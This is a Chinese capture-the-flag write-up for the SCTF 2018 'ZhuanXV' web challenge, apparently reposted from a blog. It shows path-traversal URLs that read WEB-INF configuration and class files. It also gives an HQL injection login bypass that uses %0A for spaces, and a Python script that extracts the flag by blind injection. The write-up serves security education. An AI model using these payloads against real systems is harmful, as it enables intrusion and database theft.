[SCTF 2018]ZhuanXV

赛题:[SCTF 2018]ZhuanXV

读取文件

使用dirsearch工具进行扫描

image-20211218085814200

发现/list,访问是个登录界面,查看源码

image-20211218092423654

发现背景图片的路径

image-20211218092505971

查看web.xml

http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/web.xml

发现使用了strut2框架,

struts.xml是struts2的核心配置文件,在开发过程中利用率最高。该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。

接下来读取struts.xml

http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/struts.xml

发现很多类名,继续读取

http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class

在UserLoginAction.class中找到其他的class文件

image-20211218094036999

继续获取

http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

然后我们又在InitApplicationContext.class中发现applicationContext.xml

image-20211218094714096

继续读取

http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

又在里面发现了其他的class类和user.hbm.xml

http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
http://111.200.241.244:63455/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class

UserDaoImpl.class中,对用户名name进行了操作,会将空格和=替换为空image-20211218095838538

sql注入漏洞

在UserDaoImpl.class中,应该是检查用户名和密码的操作,存在SQL注入漏洞

image-20211218095938720

其中注意

find("from User where name ='" + name + "' and password = '" + password + "'");

其实也就是

from User where name ='[name]' and password ='[password]'

根据上面的分析,对用户名进行了过滤,所以使用%0A代替空格

本来想用
admin'%0Aor%0A'1'>'0
但是不行,还得用下面的这个
admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

然后登录成功,但是并没有发现flag

image-20211218101700271

大佬的wp里说,根据之前的user.hbm.xml文件,可以发现flag的映射类,可以确定flag在数据库中

根据官方wp简单修改后的脚本

import requests

s = requests.session()

flag = ''
for i in range(1,50):
    print(i)
    for j in range(1,128):
        payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag)<'" + str(j) + "'"
        #print(payload)
        url = "http://111.200.241.244:49621/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123456"
        r = s.get(url)
        if r"Welcome" in r.text:
            #print(r.text)
            flag = flag + chr(j-1)
            print(flag)
            break

image-20211218233434349

然后分析一下和官方wp有什么不一样的地方

image-20211218233159697

官方wp中多了一个限制id<2,似乎是判断字段的,不过加不加都能跑出来

还有就是多引入了一个变量p,因为payload中用的是<,所以每一个p实际上取的是(j-1),这一点我直接在我上面的脚本中进行了修改

image-20211218233351206

参考链接:

  1. 攻防世界-web-Zhuanxv(任意文件读取、万能密钥、sql盲注 )

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/122019301